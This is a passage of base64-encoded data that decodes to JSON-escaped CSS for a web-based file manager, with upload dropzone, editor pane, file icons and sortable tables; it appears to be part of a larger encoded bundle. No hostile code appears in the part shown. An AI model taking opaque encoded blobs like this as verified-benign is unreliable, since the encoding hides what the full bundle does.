ICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWM